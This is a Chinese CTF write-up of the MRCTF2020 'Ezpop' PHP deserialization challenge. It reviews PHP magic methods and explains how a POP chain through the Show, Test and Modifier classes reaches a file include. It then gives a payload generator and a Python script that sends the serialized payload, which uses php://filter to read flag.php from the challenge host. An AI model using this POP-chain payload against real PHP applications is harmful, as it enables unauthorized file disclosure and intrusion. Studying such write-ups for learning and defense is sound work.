「MRCTF2020」- Ezpop
做了一个星期的反序列化,不知道为啥,概念从模糊到清晰再到模糊,看来还是基础不扎实导致的,所以就有了这一篇文章的诞生,思路的一个整理以及POP链的构造需要再熟悉熟悉
俗话说的好,有ez的题目都不ez,那么这个题同样也不ez
重新复习一下php里面反序列化序列化的几大魔术方法
__destruct(类执行完毕以后调用,其最主要的作用是拿来做垃圾回收机制。)
__construct(类一执行就开始调用,其作用是拿来初始化一些值。)
__toString(在对象当做字符串的时候会被调用。)
__wakeup(该魔术方法在反序列化的时候自动调用,为反序列化生成的对象做一些初始化操作)
__sleep(在对象被序列化的过程中自动调用。sleep要加数组)
__invoke(当尝试以调用函数的方式调用一个对象时,方法会被自动调用)
__get(当访问类中的私有属性或者是不存在的属性,触发__get魔术方法)
__set(在对象访问私有成员的时候自动被调用,达到了给你看,但是不能给你修改的效果!在对象访问一个私有的成员的时候就会自动的调用该魔术方法)
__call(当所调用的成员方法不存在(或者没有权限)该类时调用,用于对错误后做一些操作或者提示信息)
__isset(方法用于检测私有属性值是否被设定。当外部使用isset读类内部进行检测对象是否有具有某个私有成员的时候就会被自动调用!)
__unset(方法用于删除私有属性。在外部调用类内部的私有成员的时候就会自动的调用__unset魔术方法)
好了,那我们开始看代码
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
首先分析一共有三个类
Modifier
Show
Test
看到Modifier这个类
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
定义一个append函数
可以看到这是个文件包含,好,那么思路就来了,那这个包含可以拿来包含flag.php,然后看到__invoke方法,__invoke方法调用了append函数,而__invoke方法怎么触发呢?(当尝试以调用函数的方式调用一个对象时,方法会被自动调用)好,那么我们继续往下看
看到Show这个类
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
首先看到__construct方法,这里暂时没什么用,然后我们看到__toString方法,这里是一个输出点,暂时放着,没有什么思路
看到Test这个类
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
这里有个__get()方法,我们知道(当访问类中的私有属性或者是不存在的属性,触发__get魔术方法),而哪里使用了私有属性呢,很明显是Modifier这个类,__get方法它返回的是函数,而__invoke方法(当尝试以调用函数的方式调用一个对象时,方法会被自动调用)
所以我们的思路是:
首先使$var=php://filter/read=convert.base64-encode/resource=flag.php
包含一个flag.php
然后使用Test类里的__get方法调用Modifier类中的__invoke方法,怎么调用呢?使$p这个变量为Modifier这个对象就可以调用__invoke方法,最后使用Show这个类里的__toString方法输出被包含的flag。
使用Test类里的__get方法调用Modifier类中的__invoke方法很简单
只需要new一个Test和new一个Modifier
然后使Test->p = new Modifier();
如果使Show->str=new Test();
然后Test这个类调用了一个不存在的变量(source)触发__get()方法。
但是这个__toString方法的调用着实卡了我好久
该怎么调用__toString方法呢?
这里我们看到源代码的一段
public function __wakeup()
{
if (preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
这里preg_match对类中的source进行比较,将它作为字符串,所以就调用了__toString方法
__toString是在对象被当成字符串的时候调用
所以这里我们需要使Show->source = new Show();
即可调用__toString方法
构造pop链:
Modifier->__invoke()->append()->flag
Test->__get()->Modifier
Show->__wakeup()->__toString()->Test
所以完整的pop链:
Show->__wakeup()(preg_match把对象当作字符串触发)->__toString()(使类中的source为Test对象,输出不存在的对象触发)->Test->__get()方法->Modifier->__invoke()(调用对象以函数的形式触发)->append()->include(文件包含,包含flag)
构造payload:
由于protect被保护的变量类外部无法访问,所以在类里面定义
<?php
class Modifier {
protected $var="php://filter/read=convert.base64-encode/resource=flag.php";
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show
{
public $source;
public $str;
public function __construct($file = "index.php")
{
$this->source = $file;
echo 'Welcome to ' . $this->source . "<br>";
}
public function __toString()
{
return $this->str->source;
}
public function __wakeup()
{
if (preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
$a = new Modifier();
$b = new Show();
$c = new Test();
$c->p = $a;
$b->source = new Show();
$b->source->str = $c;
echo serialize($b);
一键getflag.py
import requests
import base64
url = "http://dd9a4b21-3907-4515-b26b-998e448cc729.node3.buuoj.cn/?pop="
payload = 'O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";s:9:"index.php";s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:"\00*\00var";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}}s:3:"str";N;}'
res = requests.get(url+payload)
print(base64.b64decode(res.text))
后言
这篇文章我也几乎是花了一天的时间来进行思路的分析,整理,将序列化和反序列化中的几乎所有的魔术方法都完整的了解了一次(以前的概念还是很模糊)
现在做相关的题也能很快找到突破点,很开心,加油!